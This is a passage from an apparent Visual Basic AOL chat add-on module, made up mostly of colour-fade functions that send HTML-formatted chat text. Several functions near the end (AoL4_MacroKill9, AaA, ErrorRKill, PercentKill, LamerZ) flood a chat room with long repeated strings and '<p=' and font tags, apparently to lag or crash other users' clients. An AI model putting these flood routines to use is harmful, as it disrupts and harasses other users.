  2062.     Next B
  2063.    ErrorRsenD (Msg)
  2064. End Function
  2065. Sub WierdAttention(Text)
  2066. 'This is going to look really weird
  2067. ErrorRsenD ("<b>ñ</b><i> ñ</i><u> ñ</u><s> ñ</s> " & Text & " <s>ñ</s><u> ñ</u><i> ñ</i><b> ñ</b>")
  2068. BoldSendChat (Text)
  2069. ErrorRsenD ("<b>ñ</b><i> ñ</i><u> ñ</u><s> ñ</s> " & Text & " <s>ñ</s><u> ñ</u><i> ñ</i><b> ñ</b>")
  2070. End Sub
  2071.  
  2072.  
  2073. Function BlackGreen(Text1)
  2074.     a = Len(Text1)
  2075.     For B = 1 To a
  2076.         c = Left(Text1, B)
  2077.         D = Right(c, 1)
  2078.         E = 255 / a
  2079.         F = E * B
  2080.         G = RGB(0, F, 0)
  2081.         h = RGBtoHEX(G)
  2082.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2083.     Next B
  2084.     ErrorRsenD ("< A href=""" & URL & """ >" + Msg + "</a>")
  2085. End Function
  2086.  
  2087. Function BlackGrey(Text1)
  2088.     a = Len(Text1)
  2089.     For B = 1 To a
  2090.         c = Left(Text1, B)
  2091.         D = Right(c, 1)
  2092.         E = 220 / a
  2093.         F = E * B
  2094.         G = RGB(F, F, F)
  2095.         h = RGBtoHEX(G)
  2096.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2097.     Next B
  2098.     ErrorRsenD (Msg)
  2099. End Function
  2100.  
  2101. Function BlackPurple(Text1)
  2102.     a = Len(Text1)
  2103.     For B = 1 To a
  2104.         c = Left(Text1, B)
  2105.         D = Right(c, 1)
  2106.         E = 255 / a
  2107.         F = E * B
  2108.         G = RGB(F, 0, F)
  2109.         h = RGBtoHEX(G)
  2110.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2111.     Next B
  2112.     ErrorRsenD (Msg)
  2113. End Function
  2114.  
  2115. Function BlackRed(Text1)
  2116.     a = Len(Text1)
  2117.     For B = 1 To a
  2118.         c = Left(Text1, B)
  2119.         D = Right(c, 1)
  2120.         E = 255 / a
  2121.         F = E * B
  2122.         G = RGB(0, 0, F)
  2123.         h = RGBtoHEX(G)
  2124.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2125.     Next B
  2126.     ErrorRsenD (Msg)
  2127. End Function
  2128.  
  2129. Function BlackYellow(Text1)
  2130.     a = Len(Text1)
  2131.     For B = 1 To a
  2132.         c = Left(Text1, B)
  2133.         D = Right(c, 1)
  2134.         E = 255 / a
  2135.         F = E * B
  2136.         G = RGB(0, F, F)
  2137.         h = RGBtoHEX(G)
  2138.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2139.     Next B
  2140.     ErrorRsenD (Msg)
  2141. End Function
  2142.  
  2143. Function BlueBlack(Text1)
  2144.     a = Len(Text1)
  2145.     For B = 1 To a
  2146.         c = Left(Text1, B)
  2147.         D = Right(c, 1)
  2148.         E = 255 / a
  2149.         F = E * B
  2150.         G = RGB(255 - F, 0, 0)
  2151.         h = RGBtoHEX(G)
  2152.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2153.     Next B
  2154.    ErrorRsenD (Msg)
  2155. End Function
  2156.  
  2157. Function BlueGreen(Text1)
  2158.     a = Len(Text1)
  2159.     For B = 1 To a
  2160.         c = Left(Text1, B)
  2161.         D = Right(c, 1)
  2162.         E = 255 / a
  2163.         F = E * B
  2164.         G = RGB(255 - F, F, 0)
  2165.         h = RGBtoHEX(G)
  2166.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2167.     Next B
  2168.     ErrorRsenD (Msg)
  2169. End Function
  2170.  
  2171. Function BluePurple(Text1)
  2172.     a = Len(Text1)
  2173.     For B = 1 To a
  2174.         c = Left(Text1, B)
  2175.         D = Right(c, 1)
  2176.         E = 255 / a
  2177.         F = E * B
  2178.         G = RGB(255, 0, F)
  2179.         h = RGBtoHEX(G)
  2180.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2181.     Next B
  2182.     ErrorRsenD (Msg)
  2183. End Function
  2184.  
  2185. Function BlueRed(Text1)
  2186.     a = Len(Text1)
  2187.     For B = 1 To a
  2188.         c = Left(Text1, B)
  2189.         D = Right(c, 1)
  2190.         E = 255 / a
  2191.         F = E * B
  2192.         G = RGB(255 - F, 0, F)
  2193.         h = RGBtoHEX(G)
  2194.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2195.     Next B
  2196.    ErrorRsenD (Msg)
  2197. End Function
  2198.  
  2199. Function BlueYellow(Text1)
  2200.     a = Len(Text1)
  2201.     For B = 1 To a
  2202.         c = Left(Text1, B)
  2203.         D = Right(c, 1)
  2204.         E = 255 / a
  2205.         F = E * B
  2206.         G = RGB(255 - F, F, F)
  2207.         h = RGBtoHEX(G)
  2208.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2209.     Next B
  2210.   ErrorRsenD (Msg)
  2211. End Function
  2212.  
  2213. Function GreenBlack(Text1)
  2214.     a = Len(Text1)
  2215.     For B = 1 To a
  2216.         c = Left(Text1, B)
  2217.         D = Right(c, 1)
  2218.         E = 255 / a
  2219.         F = E * B
  2220.         G = RGB(0, 255 - F, 0)
  2221.         h = RGBtoHEX(G)
  2222.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2223.     Next B
  2224.     ErrorRsenD (Msg)
  2225. End Function
  2226. Sub WindowsIP(TheExe As String)
  2227.  Dim Shellz As Long, NoFreeze As Long
  2228.  
  2229.     Shellz& = Shell("C:\WINDOWS\Winipcfg.exe", 1): NoFreeze& = DoEvents()
  2230. 'C:\WINDOWS\Winipcfg.exe
  2231. End Sub
  2232.  
  2233.  
  2234. Function GreenBlue(Text1)
  2235.     a = Len(Text1)
  2236.     For B = 1 To a
  2237.         c = Left(Text1, B)
  2238.         D = Right(c, 1)
  2239.         E = 255 / a
  2240.         F = E * B
  2241.         G = RGB(F, 255 - F, 0)
  2242.         h = RGBtoHEX(G)
  2243.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2244.     Next B
  2245.     ErrorRsenD (Msg)
  2246. End Function
  2247.  
  2248. Function GreenPurple(Text1)
  2249.     a = Len(Text1)
  2250.     For B = 1 To a
  2251.         c = Left(Text1, B)
  2252.         D = Right(c, 1)
  2253.         E = 255 / a
  2254.         F = E * B
  2255.         G = RGB(F, 255 - F, F)
  2256.         h = RGBtoHEX(G)
  2257.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2258.     Next B
  2259.     ErrorRsenD (Msg)
  2260. End Function
  2261.  
  2262. Function GreenRed(Text1)
  2263.     a = Len(Text1)
  2264.     For B = 1 To a
  2265.         c = Left(Text1, B)
  2266.         D = Right(c, 1)
  2267.         E = 255 / a
  2268.         F = E * B
  2269.         G = RGB(0, 255 - F, F)
  2270.         h = RGBtoHEX(G)
  2271.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2272.     Next B
  2273.     ErrorRsenD (Msg)
  2274. End Function
  2275.  
  2276. Function GreenYellow(Text1)
  2277.     a = Len(Text1)
  2278.     For B = 1 To a
  2279.         c = Left(Text1, B)
  2280.         D = Right(c, 1)
  2281.         E = 255 / a
  2282.         F = E * B
  2283.         G = RGB(0, 255, F)
  2284.         h = RGBtoHEX(G)
  2285.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2286.     Next B
  2287.    ErrorRsenD (Msg)
  2288. End Function
  2289.  
  2290. Function GreyBlack(Text1)
  2291.     a = Len(Text1)
  2292.     For B = 1 To a
  2293.         c = Left(Text1, B)
  2294.         D = Right(c, 1)
  2295.         E = 220 / a
  2296.         F = E * B
  2297.         G = RGB(255 - F, 255 - F, 255 - F)
  2298.         h = RGBtoHEX(G)
  2299.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2300.     Next B
  2301.    ErrorRsenD (Msg)
  2302. End Function
  2303.  
  2304. Function GreyBlue(Text1)
  2305.     a = Len(Text1)
  2306.     For B = 1 To a
  2307.         c = Left(Text1, B)
  2308.         D = Right(c, 1)
  2309.         E = 255 / a
  2310.         F = E * B
  2311.         G = RGB(255, 255, 255 - F)
  2312.         h = RGBtoHEX(G)
  2313.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2314.     Next B
  2315.     ErrorRsenD (Msg)
  2316. End Function
  2317.  
  2318. Function GreyGreen(Text1)
  2319.     a = Len(Text1)
  2320.     For B = 1 To a
  2321.         c = Left(Text1, B)
  2322.         D = Right(c, 1)
  2323.         E = 255 / a
  2324.         F = E * B
  2325.         G = RGB(255 - F, 255, 255 - F)
  2326.         h = RGBtoHEX(G)
  2327.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2328.     Next B
  2329.    ErrorRsenD (Msg)
  2330. End Function
  2331.  
  2332. Function GreyPurple(Text1)
  2333.     a = Len(Text1)
  2334.     For B = 1 To a
  2335.         c = Left(Text1, B)
  2336.         D = Right(c, 1)
  2337.         E = 255 / a
  2338.         F = E * B
  2339.         G = RGB(255, 255 - F, 255)
  2340.         h = RGBtoHEX(G)
  2341.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2342.     Next B
  2343.     ErrorRsenD (Msg)
  2344. End Function
  2345.  
  2346. Function GreyRed(Text1)
  2347.     a = Len(Text1)
  2348.     For B = 1 To a
  2349.         c = Left(Text1, B)
  2350.         D = Right(c, 1)
  2351.         E = 255 / a
  2352.         F = E * B
  2353.         G = RGB(255 - F, 255 - F, 255)
  2354.         h = RGBtoHEX(G)
  2355.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2356.     Next B
  2357.     ErrorRsenD (Msg)
  2358. End Function
  2359.  
  2360. Function GreyYellow(Text1)
  2361.     a = Len(Text1)
  2362.     For B = 1 To a
  2363.         c = Left(Text1, B)
  2364.         D = Right(c, 1)
  2365.         E = 255 / a
  2366.         F = E * B
  2367.         G = RGB(255 - F, 255, 255)
  2368.         h = RGBtoHEX(G)
  2369.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2370.     Next B
  2371.    ErrorRsenD (Msg)
  2372. End Function
  2373.  
  2374. Function PurpleBlack(Text1)
  2375.     a = Len(Text1)
  2376.     For B = 1 To a
  2377.         c = Left(Text1, B)
  2378.         D = Right(c, 1)
  2379.         E = 255 / a
  2380.         F = E * B
  2381.         G = RGB(255 - F, 0, 255 - F)
  2382.         h = RGBtoHEX(G)
  2383.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2384.     Next B
  2385.     ErrorRsenD (Msg)
  2386. End Function
  2387.  
  2388. Function PurpleBlue(Text1)
  2389.     a = Len(Text1)
  2390.     For B = 1 To a
  2391.         c = Left(Text1, B)
  2392.         D = Right(c, 1)
  2393.         E = 255 / a
  2394.         F = E * B
  2395.         G = RGB(255, 0, 255 - F)
  2396.         h = RGBtoHEX(G)
  2397.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2398.     Next B
  2399.    ErrorRsenD (Msg)
  2400. End Function
  2401.  
  2402. Function PurpleGreen(Text1)
  2403.     a = Len(Text1)
  2404.     For B = 1 To a
  2405.         c = Left(Text1, B)
  2406.         D = Right(c, 1)
  2407.         E = 255 / a
  2408.         F = E * B
  2409.         G = RGB(255 - F, F, 255 - F)
  2410.         h = RGBtoHEX(G)
  2411.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2412.     Next B
  2413.   ErrorRsenD (Msg)
  2414. End Function
  2415.  
  2416. Function PurpleRed(Text1)
  2417.     a = Len(Text1)
  2418.     For B = 1 To a
  2419.         c = Left(Text1, B)
  2420.         D = Right(c, 1)
  2421.         E = 255 / a
  2422.         F = E * B
  2423.         G = RGB(255 - F, 0, 255)
  2424.         h = RGBtoHEX(G)
  2425.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2426.     Next B
  2427.    ErrorRsenD (Msg)
  2428. End Function
  2429.  
  2430. Function PurpleYellow(Text1)
  2431.     a = Len(Text1)
  2432.     For B = 1 To a
  2433.         c = Left(Text1, B)
  2434.         D = Right(c, 1)
  2435.         E = 255 / a
  2436.         F = E * B
  2437.         G = RGB(255 - F, F, 255)
  2438.         h = RGBtoHEX(G)
  2439.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2440.     Next B
  2441.    ErrorRsenD (Msg)
  2442. End Function
  2443.  
  2444. Function RedBlack(Text1)
  2445.     a = Len(Text1)
  2446.     For B = 1 To a
  2447.         c = Left(Text1, B)
  2448.         D = Right(c, 1)
  2449.         E = 255 / a
  2450.         F = E * B
  2451.         G = RGB(0, 0, 255 - F)
  2452.         h = RGBtoHEX(G)
  2453.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2454.     Next B
  2455.     ErrorRsenD (Msg)
  2456. End Function
  2457.  
  2458. Function RedBlue(Text1)
  2459.     a = Len(Text1)
  2460.     For B = 1 To a
  2461.         c = Left(Text1, B)
  2462.         D = Right(c, 1)
  2463.         E = 255 / a
  2464.         F = E * B
  2465.         G = RGB(F, 0, 255 - F)
  2466.         h = RGBtoHEX(G)
  2467.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2468.     Next B
  2469.   ErrorRsenD (Msg)
  2470. End Function
  2471.  
  2472. Function RedGreen(Text1)
  2473.     a = Len(Text1)
  2474.     For B = 1 To a
  2475.         c = Left(Text1, B)
  2476.         D = Right(c, 1)
  2477.         E = 255 / a
  2478.         F = E * B
  2479.         G = RGB(0, F, 255 - F)
  2480.         h = RGBtoHEX(G)
  2481.         Msg = Msg & "<b><Font Color=#" & h & "></b>" & D
  2482.     Next B
  2483.     ErrorRsenD (Msg)
  2484. End Function
  2485.  
  2486. Function RedPurple(Text1)
  2487.     a = Len(Text1)
  2488.     For B = 1 To a
  2489.         c = Left(Text1, B)
  2490.         D = Right(c, 1)
  2491.         E = 255 / a
  2492.         F = E * B
  2493.         G = RGB(F, 0, 255)
  2494.         h = RGBtoHEX(G)
  2495.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2496.     Next B
  2497.    ErrorRsenD (Msg)
  2498. End Function
  2499.  
  2500. Function RedYellow(Text1)
  2501.     a = Len(Text1)
  2502.     For B = 1 To a
  2503.         c = Left(Text1, B)
  2504.         D = Right(c, 1)
  2505.         E = 255 / a
  2506.         F = E * B
  2507.         G = RGB(0, F, 255)
  2508.         h = RGBtoHEX(G)
  2509.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2510.     Next B
  2511.   ErrorRsenD (Msg)
  2512. End Function
  2513.  
  2514. Function YellowBlack(Text1)
  2515.     a = Len(Text1)
  2516.     For B = 1 To a
  2517.         c = Left(Text1, B)
  2518.         D = Right(c, 1)
  2519.         E = 255 / a
  2520.         F = E * B
  2521.         G = RGB(0, 255 - F, 255 - F)
  2522.         h = RGBtoHEX(G)
  2523.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2524.     Next B
  2525.     ErrorRsenD (Msg)
  2526. End Function
  2527.  
  2528. Function YellowBlue(Text1)
  2529.     a = Len(Text1)
  2530.     For B = 1 To a
  2531.         c = Left(Text1, B)
  2532.         D = Right(c, 1)
  2533.         E = 255 / a
  2534.         F = E * B
  2535.         G = RGB(F, 255 - F, 255 - F)
  2536.         h = RGBtoHEX(G)
  2537.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2538.     Next B
  2539.     ErrorRsenD (Msg)
  2540. End Function
  2541. Sub Win_Center(frmz As Form)
  2542.  
  2543.     frmz.Top = (Screen.Height * 0.85) / 2 - frmz.Height / 2
  2544.     frmz.Left = Screen.Width / 2 - frmz.Width / 2
  2545. End Sub
  2546. Sub Win_Center1(frmz As Form)
  2547.  
  2548.     frmz.Top = (Screen.Height * 0.64) / 2 - frmz.Height / 2
  2549.     frmz.Left = Screen.Width / 2 - frmz.Width / 2
  2550. End Sub
  2551. Sub Win_Center2(frmz As Form)
  2552.  
  2553.     frmz.Top = (Screen.Height * 1.34) / 2 - frmz.Height / 2
  2554.     frmz.Left = Screen.Width / 2 - frmz.Width / 2
  2555. End Sub
  2556.  
  2557. Function YellowGreen(Text1)
  2558.     a = Len(Text1)
  2559.     For B = 1 To a
  2560.         c = Left(Text1, B)
  2561.         D = Right(c, 1)
  2562.         E = 255 / a
  2563.         F = E * B
  2564.         G = RGB(0, 255, 255 - F)
  2565.         h = RGBtoHEX(G)
  2566.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2567.     Next B
  2568.     ErrorRsenD (Msg)
  2569. End Function
  2570.  
  2571. Function YellowPurple(Text1)
  2572.     a = Len(Text1)
  2573.     For B = 1 To a
  2574.         c = Left(Text1, B)
  2575.         D = Right(c, 1)
  2576.         E = 255 / a
  2577.         F = E * B
  2578.         G = RGB(F, 255 - F, 255)
  2579.         h = RGBtoHEX(G)
  2580.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2581.     Next B
  2582.    ErrorRsenD (Msg)
  2583. End Function
  2584.  
  2585. Function YellowRed(Text1)
  2586.     a = Len(Text1)
  2587.     For B = 1 To a
  2588.         c = Left(Text1, B)
  2589.         D = Right(c, 1)
  2590.         E = 255 / a
  2591.         F = E * B
  2592.         G = RGB(0, 255 - F, 255)
  2593.         h = RGBtoHEX(G)
  2594.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2595.     Next B
  2596.    ErrorRsenD (Msg)
  2597. End Function
  2598.  
  2599.  
  2600. 'Pre-set 3 Color fade combinations begin here
  2601.  
  2602.  
  2603. Function BlackBlueBlack(Text1)
  2604.     a = Len(Text1)
  2605.     For B = 1 To a
  2606.         c = Left(Text1, B)
  2607.         D = Right(c, 1)
  2608.         E = 510 / a
  2609.         F = E * B
  2610.         If F > 255 Then F = (255 - (F - 255))
  2611.         G = RGB(F, 0, 0)
  2612.         h = RGBtoHEX(G)
  2613.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2614.     Next B
  2615.     ErrorRsenD (Msg)
  2616. End Function
  2617.  
  2618. Function BlackGreenBlack(Text1)
  2619.     a = Len(Text1)
  2620.     For B = 1 To a
  2621.         c = Left(Text1, B)
  2622.         D = Right(c, 1)
  2623.         E = 510 / a
  2624.         F = E * B
  2625.         If F > 255 Then F = (255 - (F - 255))
  2626.         G = RGB(0, F, 0)
  2627.         h = RGBtoHEX(G)
  2628.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2629.     Next B
  2630.     ErrorRsenD (Msg)
  2631. End Function
  2632.  
  2633. Function BlackGreyBlack(Text1)
  2634.     a = Len(Text1)
  2635.     For B = 1 To a
  2636.         c = Left(Text1, B)
  2637.         D = Right(c, 1)
  2638.         E = 490 / a
  2639.         F = E * B
  2640.         If F > 255 Then F = (255 - (F - 255))
  2641.         G = RGB(F, F, F)
  2642.         h = RGBtoHEX(G)
  2643.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2644.     Next B
  2645.    ErrorRsenD (Msg)
  2646. End Function
  2647.  
  2648. Function BlackPurpleBlack(Text1)
  2649.     a = Len(Text1)
  2650.     For B = 1 To a
  2651.         c = Left(Text1, B)
  2652.         D = Right(c, 1)
  2653.         E = 510 / a
  2654.         F = E * B
  2655.         If F > 255 Then F = (255 - (F - 255))
  2656.         G = RGB(F, 0, F)
  2657.         h = RGBtoHEX(G)
  2658.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2659.     Next B
  2660.     ErrorRsenD (Msg)
  2661. End Function
  2662.  
  2663. Function BlackRedBlack(Text1)
  2664.     a = Len(Text1)
  2665.     For B = 1 To a
  2666.         c = Left(Text1, B)
  2667.         D = Right(c, 1)
  2668.         E = 510 / a
  2669.         F = E * B
  2670.         If F > 255 Then F = (255 - (F - 255))
  2671.         G = RGB(0, 0, F)
  2672.         h = RGBtoHEX(G)
  2673.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2674.     Next B
  2675.     ErrorRsenD (Msg)
  2676. End Function
  2677. Function AoL4_MacroKill9()
  2678. SendKeys "{enter}"
  2679. SendKeys "{enter}"
  2680. SendKeys "{enter}"
  2681. For I = 1 To 150
  2682. a = a & " èTΣ▀ T⌠⌡Lz "
  2683. Next
  2684. ErrorRsenD ".<p=" & a
  2685. TimeOut 0.1
  2686. ErrorRsenD ".<p=" & a
  2687. TimeOut 0.1
  2688. ErrorRsenD ".<p=" & a
  2689. End Function
  2690. Function ReVXoR(txt)
  2691. For I = 1 To 16
  2692. a = a + ("  " & txt)
  2693. Next
  2694. 'ErrorRsenD ".<p=" & a
  2695. 'TimeOut 0.4
  2696. ErrorRsenD ".<b><Font Color=#D40000><b><p=" & a
  2697. 'TimeOut 0.3
  2698. 'ErrorRsenD ".<b><p=" & a
  2699. 'TimeOut 0.5
  2700. 'ErrorRsenD ".<p=" & a
  2701. 'TimeOut 0.4
  2702. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><Font Color=#D40000><b><p=" & a
  2703. TimeOut 0.4
  2704. ErrorRsenD ".<b><Font Color=#D40000><b><p=" & a
  2705. TimeOut (0.5)
  2706. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><Font Color=#D40000><b><p=" & a
  2707. 'TimeOut 0.4
  2708. 'ErrorRsenD ".<b><p=" & a
  2709. End Function
  2710. Function AaA()
  2711. SendKeys "{enter}"
  2712. SendKeys "{enter}"
  2713. SendKeys "{enter}"
  2714. SendKeys "{enter}"
  2715. SendKeys "{enter}"
  2716. SendKeys "{enter}"
  2717. For I = 1 To 1000
  2718. a = a & "@"
  2719. Next
  2720. ErrorRsenD ".<p=" & a
  2721. TimeOut 0.5
  2722. ErrorRsenD ".<Font Color=#D40000><b><p=" & a
  2723. TimeOut 0.5
  2724. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a
  2725. TimeOut 0.4
  2726. ErrorRsenD ".<Font Color=""#005500""><p=" & a
  2727. TimeOut 0.3
  2728. ErrorRsenD ".<Font Color=""#555555""><b><p=" & a
  2729. 'TimeOut 0.1
  2730. 'ErrorRsenD ".<b><p=" & a
  2731. End Function
  2732. Function ErrorRKill()
  2733. SendKeys "{enter}"
  2734. SendKeys "{enter}"
  2735. SendKeys "{enter}"
  2736. SendKeys "{enter}"
  2737. SendKeys "{enter}"
  2738. SendKeys "{enter}"
  2739. For I = 1 To 100
  2740. a = a & " ╦r«°r« ▓║║║      "
  2741. Next
  2742. ErrorRsenD ".<p=" & a
  2743. TimeOut 0.5
  2744. ErrorRsenD ".<Font Color=#D40000><b><p=" & a
  2745. TimeOut 0.5
  2746. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a
  2747. TimeOut 0.4
  2748. ErrorRsenD ".<Font Color=""#005500""><p=" & a
  2749. TimeOut 0.3
  2750. ErrorRsenD ".<Font Color=""#555555""><b><p=" & a
  2751. 'TimeOut 0.1
  2752. 'ErrorRsenD ".<b><p=" & a
  2753. End Function
  2754.  
  2755. Function PercentKill()
  2756. SendKeys "{enter}"
  2757. SendKeys "{enter}"
  2758. SendKeys "{enter}"
  2759. SendKeys "{enter}"
  2760. SendKeys "{enter}"
  2761. SendKeys "{enter}"
  2762. For I = 1 To 1000
  2763. a = a & "%"
  2764. Next
  2765. ErrorRsenD ".<p=" & a
  2766. TimeOut 0.5
  2767. ErrorRsenD ".<Font Color=#D40000><b><p=" & a
  2768. TimeOut 0.5
  2769. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a
  2770. TimeOut 0.4
  2771. ErrorRsenD ".<Font Color=""#005500""><p=" & a
  2772. TimeOut 0.3
  2773. ErrorRsenD ".<Font Color=""#555555""><b><p=" & a
  2774. 'TimeOut 0.1
  2775. 'ErrorRsenD ".<b><p=" & a
  2776. End Function
  2777. Function LamerZ()
  2778. SendKeys "{enter}"
  2779. SendKeys "{enter}"
  2780. SendKeys "{enter}"
  2781. For I = 1 To 150
  2782. a = a & " LaMeRz    "
  2783. Next
  2784. ErrorRsenD ".<p=" & a
  2785. TimeOut 0.1
  2786. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><Font Color=#D40000><b><p=" & a
  2787. TimeOut 0.1
  2788. ErrorRsenD ".<b><p=" & a
  2789. End Function
  2790.  
  2791. Function diedie()
  2792. ' '\»╠  (»O») '.--.  /
  2793. 'á ═_╠       '(_O_)    /_/
  2794. SendKeys "{enter}"
  2795. For I = 1 To 1
  2796. a = a & "\»╠  (»O») '.--.  /                                               |_╠  '(_O_)   /_/       "
  2797. Next
  2798. ErrorRsenD "" & a
  2799. TimeOut 0.1
  2800. End Function
  2801. Function ReVreV()
  2802.  
  2803. 'á/»o»)á/»_|\»\/»/
  2804. '/_/\_\ /_»| á\__/
  2805.  
  2806.  
  2807. SendKeys "{enter}"
  2808. For I = 1 To 1
  2809. a = a & " /»o»)á/»_|\»\/»/                                          /_/\_\ /_»| á\__/"
  2810. Next
  2811. ErrorRsenD "" & a
  2812. TimeOut 0.1
  2813. End Function
  2814.  
  2815.  
  2816. Function BlackYellowBlack(Text1)
  2817.     a = Len(Text1)
  2818.     For B = 1 To a
  2819.         c = Left(Text1, B)
  2820.         D = Right(c, 1)
  2821.         E = 510 / a
  2822.         F = E * B
  2823.         If F > 255 Then F = (255 - (F - 255))
  2824.         G = RGB(0, F, F)
  2825.         h = RGBtoHEX(G)
  2826.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2827.     Next B
  2828.     ErrorRsenD (Msg)
  2829. End Function
  2830.  
  2831. Function BlueBlackBlue(Text1)
  2832.     a = Len(Text1)
  2833.     For B = 1 To a
  2834.         c = Left(Text1, B)
  2835.         D = Right(c, 1)
  2836.         E = 510 / a
  2837.         F = E * B
  2838.         If F > 255 Then F = (255 - (F - 255))
  2839.         G = RGB(255 - F, 0, 0)
  2840.         h = RGBtoHEX(G)
  2841.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2842.     Next B
  2843.     ErrorRsenD (Msg)
  2844. End Function
  2845.  
  2846. Function BlueGreenBlue(Text1)
  2847.     a = Len(Text1)
  2848.     For B = 1 To a
  2849.         c = Left(Text1, B)
  2850.         D = Right(c, 1)
  2851.         E = 510 / a
  2852.         F = E * B
  2853.         If F > 255 Then F = (255 - (F - 255))
  2854.         G = RGB(255 - F, F, 0)
  2855.         h = RGBtoHEX(G)
  2856.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2857.     Next B
  2858.     ErrorRsenD (Msg)
  2859. End Function
  2860.  
  2861. Function BluePurpleBlue(Text1)
  2862.     a = Len(Text1)
  2863.     For B = 1 To a
  2864.         c = Left(Text1, B)
  2865.         D = Right(c, 1)
  2866.         E = 510 / a
  2867.         F = E * B
  2868.         If F > 255 Then F = (255 - (F - 255))
  2869.         G = RGB(255, 0, F)
  2870.         h = RGBtoHEX(G)
  2871.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2872.     Next B
  2873.     ErrorRsenD (Msg)
  2874. End Function
  2875.  
  2876. Function BlueRedBlue(Text1)
  2877.     a = Len(Text1)
  2878.     For B = 1 To a
  2879.         c = Left(Text1, B)
  2880.         D = Right(c, 1)
  2881.         E = 510 / a
  2882.         F = E * B
  2883.         If F > 255 Then F = (255 - (F - 255))
  2884.         G = RGB(255 - F, 0, F)
  2885.         h = RGBtoHEX(G)
  2886.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2887.     Next B
  2888.     ErrorRsenD (Msg)
  2889. End Function
  2890.  
  2891. Function BlueYellowBlue(Text1)
  2892.     a = Len(Text1)
  2893.     For B = 1 To a
  2894.         c = Left(Text1, B)
  2895.         D = Right(c, 1)
  2896.         E = 510 / a
  2897.         F = E * B
  2898.         If F > 255 Then F = (255 - (F - 255))
  2899.         G = RGB(255 - F, F, F)
  2900.         h = RGBtoHEX(G)
  2901.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2902.     Next B
  2903.     ErrorRsenD (Msg)
  2904. End Function
  2905.  
  2906.  
  2907.  
  2908.  
  2909.  
  2910. Function GreyBlack2(Text1)
  2911.     a = Len(Text1)
  2912.     For B = 1 To a
  2913.         c = Left(Text1, B)
  2914.         D = Right(c, 1)
  2915.         E = 220 / a
  2916.         F = E * B
  2917.         G = RGB(255 - F, 255 - F, 255 - F)
  2918.         h = RGBtoHEX(G)
  2919.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2920.     Next B
  2921.     ErrorRsenD (Msg)
  2922. End Function
  2923.  
  2924. Function GreyBlue2(Text1)
  2925.     a = Len(Text1)
  2926.     For B = 1 To a
  2927.         c = Left(Text1, B)
  2928.         D = Right(c, 1)
  2929.         E = 255 / a
  2930.         F = E * B
  2931.         G = RGB(255, 255, 255 - F)
  2932.         h = RGBtoHEX(G)
  2933.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2934.     Next B
  2935.    ErrorRsenD (Msg)
  2936. End Function
  2937.  
  2938. Function GreyGreen2(Text1)
  2939.     a = Len(Text1)
  2940.     For B = 1 To a
  2941.         c = Left(Text1, B)
  2942.         D = Right(c, 1)
  2943.         E = 255 / a
  2944.         F = E * B
  2945.         G = RGB(255 - F, 255, 255 - F)
  2946.         h = RGBtoHEX(G)
  2947.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2948.     Next B
  2949.    ErrorRsenD (Msg)
  2950. End Function
  2951.  
  2952. Function GreyPurple2(Text1)
  2953.     a = Len(Text1)
  2954.     For B = 1 To a
  2955.         c = Left(Text1, B)
  2956.         D = Right(c, 1)
  2957.         E = 255 / a
  2958.         F = E * B
  2959.         G = RGB(255, 255 - F, 255)
  2960.         h = RGBtoHEX(G)
  2961.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2962.     Next B
  2963.   ErrorRsenD (Msg)
  2964. End Function
  2965.  
  2966. Function GreyRed2(Text1)
  2967.     a = Len(Text1)
